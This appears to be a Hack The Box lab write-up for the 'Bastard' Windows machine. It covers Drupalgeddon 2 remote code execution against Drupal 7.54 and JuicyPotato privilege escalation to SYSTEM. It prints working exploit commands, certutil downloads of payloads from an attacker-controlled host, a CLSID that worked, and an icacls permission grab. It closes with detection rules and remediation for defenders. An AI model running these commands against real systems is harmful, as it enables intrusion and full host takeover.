Skip to content
Back to all posts

HTB: Bastard

· 18 min medium Windows Bastard

Drupalgeddon 2 delivers unauthenticated RCE on a Windows Server 2008 R2 box with zero hotfixes, then JuicyPotato turns an IIS service account into SYSTEM via COM/DCOM token impersonation.

Overview

Bastard is a medium-rated Windows machine running Drupal 7.54 on IIS 7.5 with PHP 5.3.28, all hosted on Windows Server 2008 R2 x64. The system has zero hotfixes installed. Every component is well beyond end-of-life.

The Drupal installation is vulnerable to Drupalgeddon 2 (CVE-2018-7600), a critical unauthenticated RCE flaw in the Form API. The exploit poisons the form render cache and triggers PHP code execution through an AJAX callback. Initial access yields a shell as nt authority\iusr, the default IIS application pool identity.

Privilege escalation abuses SeImpersonatePrivilege (granted to all IIS worker processes by default) via JuicyPotato. The technique coerces a privileged COM/DCOM service to authenticate to an attacker-controlled local COM server, then captures the resulting SYSTEM token. Four CLSIDs failed before the fifth produced a valid SYSTEM process on Server 2008 R2.

The box demonstrates a fundamental Windows design issue: any IIS service account with SeImpersonatePrivilege is functionally equivalent to SYSTEM once an attacker achieves code execution.

Reconnaissance

I start with a service-version scan:

nmap -sC -sV -T4 10.129.15.124
PortServiceProduct / VersionNotes
80HTTPMicrosoft IIS 7.5Drupal 7, 36 robots.txt entries
135MSRPCMicrosoft Windows RPCStandard Windows RPC
49154MSRPCMicrosoft Windows RPCHigh-port RPC endpoint

Three ports. The attack surface is web-only: no SMB, no RDP, no WinRM. IIS 7.5 maps to Windows Server 2008 R2 or Windows 7.

The X-Generator header identifies Drupal 7. Two X-Powered-By headers are present: PHP/5.3.28 and ASP.NET. The ASP.NET header is misleading; IIS emits it from the managed pipeline regardless of the actual handler. PHP runs as a FastCGI module under IIS, not through ASP.NET.

Drupal version identification

Drupal ships a CHANGELOG.txt in the web root by default. Unlike WordPress (which requires plugin enumeration or REST API probing), Drupal’s version is self-declared:

curl -s http://10.129.15.124/CHANGELOG.txt | head -3
# Drupal 7.54, 2017-02-01

Drupal 7.54 was released on 1 February 2017. The Drupalgeddon 2 patch (SA-CORE-2018-002) shipped in Drupal 7.58 on 28 March 2018. This installation is four minor versions behind the fix.

Attack Surface Analysis

Drupal Form API (CVE-2018-7600)

Drupal 7.54 falls within the Drupalgeddon 2 vulnerability window. I also note that the REST services module is enabled at /rest, accepting application/vnd.php.serialized as a content type. This opens a secondary attack path via PHP object injection (CVE-2019-6340), but Drupalgeddon 2 provides unauthenticated RCE with higher reliability and no dependency on specific module configuration. I prioritise it.

AttributeValue
CVECVE-2018-7600
CVSS 3.19.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CWECWE-20 (Improper Input Validation)
Root causeUnsanitised render array properties in Form API cache
AffectedDrupal 7.x before 7.58, 8.x before 8.5.1
Fixed inDrupal 7.58 / 8.5.1
MITRE ATT&CKT1190 (Exploit Public-Facing Application)

Vulnerability Analysis

Drupalgeddon 2 is a two-step exploit targeting Drupal’s render array system. Render arrays are Drupal’s internal representation of HTML elements; they use properties prefixed with # (e.g. #type, #markup, #post_render) to control how content is rendered. The vulnerability exists because the Form API does not sanitise these properties when they arrive via user input.

Step one: a POST request to the password reset form (/user/password) injects malicious render array properties into the Drupal form cache. The attacker sets #post_render to a PHP callback function (e.g. passthru) and #markup to the shell command. Drupal serialises the entire form state, including the poisoned properties, into its cache backend.

Step two: a POST to the AJAX endpoint (/file/ajax/name/#value/{form_build_id}) triggers rendering of the cached form. Drupal deserialises the form state, processes the render array, and invokes the #post_render callback with #markup as the argument. The form_build_id from the first response links the two requests.

The entire chain is unauthenticated because the injection occurs in the password reset form, which must be publicly accessible by design.

The fix in Drupal 7.58 introduces a whitelist of permitted render array properties in form input, preventing injection of #post_render and related callback properties.

Exploitation

Step 1: Drupalgeddon 2 RCE

I use the pimps/CVE-2018-7600 PoC script because it correctly handles both steps of the exploit chain (cache poisoning followed by AJAX trigger). Some alternative scripts attempt a single-request approach that fails on Drupal 7.

python3 drupa7-CVE-2018-7600.py http://10.129.15.124 -c "whoami"
# [*] Poisoning form and targeting /user/password
# [*] Result: nt authority\iusr

Code execution as nt authority\iusr. This is the default IIS application pool identity, not a named user account. It has minimal filesystem privileges but can traverse user profile directories when NTFS ACLs permit it.

The user flag is readable because the dimitris profile has permissive ACLs (common on workstation-style configurations where the default user profile grants read access to Users):

python3 drupa7-CVE-2018-7600.py http://10.129.15.124 \
    -c "type C:\Users\dimitris\Desktop\user.txt"
# [redacted]

Step 2: Privilege enumeration

Before selecting an escalation technique, I check which privileges the current process holds:

python3 drupa7-CVE-2018-7600.py http://10.129.15.124 -c "whoami /priv"
# SeAssignPrimaryTokenPrivilege   Disabled
# SeIncreaseQuotaPrivilege        Disabled
# SeChangeNotifyPrivilege         Enabled
# SeImpersonatePrivilege          Enabled
# SeCreateGlobalPrivilege         Enabled

SeImpersonatePrivilege is the critical finding. This privilege allows the process to impersonate any client that authenticates to it. IIS grants it to worker processes because the web server must impersonate connecting users to serve content under their security context. From an attacker’s perspective, it is the prerequisite for the entire Potato family of exploits (RottenPotato, JuicyPotato, PrintSpoofer, GodPotato).

I choose JuicyPotato over alternatives for a specific reason: Server 2008 R2 predates the mitigations that block RottenPotato (patched BITS service) but also predates the print spooler changes that PrintSpoofer targets. JuicyPotato is the most reliable option for this OS generation.

Step 3: JuicyPotato privilege escalation

JuicyPotato works by creating a local COM server on a chosen port, then triggering a COM/DCOM activation request from a privileged service. When the service authenticates to the attacker’s COM server, SeImpersonatePrivilege allows the attacker to capture and duplicate the SYSTEM token, then create a new process running under that token.

The CLSID parameter selects which COM object to coerce. Each CLSID corresponds to a specific COM class registered on the system, and valid CLSIDs vary by Windows version. Using an invalid CLSID produces COM recv failed error 10038 (WSAENOTSOCK), meaning the specified COM class does not exist or does not support the required activation.

I upload JuicyPotato and a batch file using certutil. I choose certutil over PowerShell’s Invoke-WebRequest because PHP’s passthru on Windows returns output from the first process in a pipeline, and certutil is a single binary with no pipeline required:

python3 drupa7-CVE-2018-7600.py http://10.129.15.124 \
    -c "certutil -urlcache -split -f http://10.10.14.5/jp.exe C:\Windows\Temp\jp.exe"
# CertUtil: -URLCache command completed successfully.

python3 drupa7-CVE-2018-7600.py http://10.129.15.124 \
    -c "certutil -urlcache -split -f http://10.10.14.5/cmd.bat C:\Windows\Temp\cmd.bat"

The batch file modifies NTFS permissions rather than spawning a reverse shell:

icacls C:\Users\Administrator\Desktop /grant Everyone:F /T

I use icacls instead of a reverse shell because JuicyPotato creates the SYSTEM process in Session 0 (the non-interactive services session). Outbound connections from Session 0 are frequently blocked by Windows Firewall rules that only apply to interactive sessions. A local filesystem operation avoids this issue entirely.

Four CLSIDs returned COM recv failed error 10038. The ohpe/juicy-potato repository lists known-good CLSIDs per OS version; I worked through the Server 2008 R2 list. The fifth succeeded:

python3 drupa7-CVE-2018-7600.py http://10.129.15.124 \
    -c "C:\Windows\Temp\jp.exe -l 1337 -p C:\Windows\Temp\cmd.bat -t * -c {e60687f7-01a1-40aa-86ac-db1cbf673334}"
# [+] CreateProcessWithTokenW OK

CreateProcessWithTokenW OK confirms the SYSTEM token was captured and a new process created. The icacls command in the batch file grants Everyone full control over the Administrator’s desktop recursively. The root flag is now readable from the existing iusr context:

python3 drupa7-CVE-2018-7600.py http://10.129.15.124 \
    -c "type C:\Users\Administrator\Desktop\root.txt"
# [redacted]

Post-Exploitation

systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"Hotfix"
# OS Name:      Microsoft Windows Server 2008 R2 Datacenter
# OS Version:   6.1.7600 N/A Build 7600
# Hotfix(s):    N/A

Build 7600 with zero hotfixes: the original RTM release with no service packs or updates. This system has never been patched. Every kernel exploit from MS15-051 (CVE-2015-1701, win32k.sys privilege escalation) through MS16-032 (CVE-2016-0099, Secondary Logon service) would work as alternative escalation paths. The JuicyPotato route is the cleanest because it requires no kernel exploitation and leaves no crash artefacts.

The technology stack tells the same story. PHP 5.3.28 reached end-of-life in August 2014. Drupal 7 reached end-of-life in January 2025. Windows Server 2008 R2 extended support ended in January 2020. IIS 7.5 shipped with Server 2008 R2 and receives no further updates. Every layer is unsupported.

Defensive Analysis

Detection opportunities

PhaseMITRE ATT&CKDetection
ReconnaissanceT1595.002CHANGELOG.txt access in IIS logs (version fingerprinting)
Initial accessT1190IDS rule matching render array properties in POST to /user/password
ExecutionT1059.003cmd.exe spawned as child of w3wp.exe (IIS worker)
Defence evasionT1218.003certutil used for file download (LOLBin)
Privilege escalationT1134.001Anomalous COM/DCOM authentication from IIS worker process

Network-level: Drupalgeddon 2 has well-known IDS signatures. The poisoned POST request to /user/password contains distinctive Drupal render array properties (#post_render, #markup, #type) that no legitimate form submission would include. Snort rule SID 46316 detects this pattern. The two-step nature of the exploit also means two correlated requests within seconds: one to /user/password and one to /file/ajax/, which provides a secondary detection signal.

Host-level: certutil -urlcache is a known Living Off The Land Binary (LOLBin) technique. Sysmon Event ID 1 (ProcessCreate) with a command line containing certutil and -urlcache is a high-confidence indicator. The subsequent execution of JuicyPotato as a child of w3wp.exe is equally anomalous. Windows Security Event 4688 (Process Creation) with w3wp.exe as the parent and cmd.exe or unknown binaries as children is worth alerting on in any environment.

Remediation

PriorityActionEffortImpact
P0Upgrade Drupal to current stable (10.x)HighCritical
P0Upgrade OS to Windows Server 2022HighCritical
P0Apply all outstanding hotfixesMediumCritical
P1Upgrade PHP to 8.xMediumHigh
P1Run IIS application pool as a custom account without SeImpersonatePrivilegeMediumHigh
P2Restrict certutil execution via AppLockerLowMedium
P2Disable the REST services module if not requiredLowMedium
P3Remove CHANGELOG.txt from the web rootLowLow

The fundamental problem is not Drupalgeddon 2; it is the complete absence of patching. A system with zero hotfixes on a decade-old OS is indefensible. Patching Drupal alone does not remediate the risk when the OS kernel, PHP runtime, and IIS web server all contain known exploitable vulnerabilities. The correct action is decommissioning or full rebuild on current-generation software.

Regarding SeImpersonatePrivilege specifically: removing it from IIS application pool accounts breaks features like Windows Authentication and impersonation-based file access. In practice, the mitigation is defence in depth: prevent the initial RCE, and treat any IIS compromise as a full host compromise in incident response plans.

Key Takeaways

  1. SeImpersonatePrivilege on Windows IIS is functionally SYSTEM. Any attacker with code execution as an IIS application pool identity can escalate to SYSTEM via JuicyPotato (Server 2008 R2 through 2016), PrintSpoofer (Server 2016+), or GodPotato (all versions). The privilege exists because IIS needs to impersonate connecting users. Removing it breaks core IIS functionality, which means the real mitigation is preventing code execution in the first place.

  2. CLSID selection is OS-version-specific. JuicyPotato requires a valid COM CLSID for the target Windows version. Blindly trying CLSIDs wastes time and generates noise. The ohpe/juicy-potato repository maintains known-good CLSIDs per OS. On this box, four CLSIDs failed before {e60687f7-01a1-40aa-86ac-db1cbf673334} succeeded. Identifying the OS version accurately during reconnaissance directly reduces time spent on escalation.

  3. Two-step exploits require understanding, not just execution. Drupalgeddon 2 is frequently reduced to “run the script, get a shell.” Understanding the cache poisoning mechanism matters: the form cache is the persistence layer between requests, #post_render is a legitimate Drupal callback mechanism being abused, and the AJAX endpoint is the trigger. When a PoC fails (wrong Drupal version, different cache backend, modified form structure), this understanding is what lets you debug and adapt rather than move on.